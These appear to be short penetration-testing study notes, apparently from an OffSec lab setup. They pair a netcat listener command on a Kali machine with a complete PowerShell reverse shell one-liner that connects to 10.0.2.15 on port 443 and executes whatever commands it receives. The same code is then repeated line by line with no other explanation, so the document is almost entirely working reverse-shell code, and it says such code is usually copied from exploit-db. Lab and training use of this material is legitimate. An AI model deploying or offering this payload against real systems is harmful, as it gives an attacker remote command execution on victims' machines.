Kali Machine : nc -nvlp 4444

Windows : C:\\Users\\offsec> powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.2.15',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.T ext.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII ).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}$client.Close();"

# This is the above code organsed to understand.
$client = New-Object System.Net.Sockets.TCPClient('10.0.2.15',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();

No need to worry you will mostly have to copy paste this from exploit-db like websites.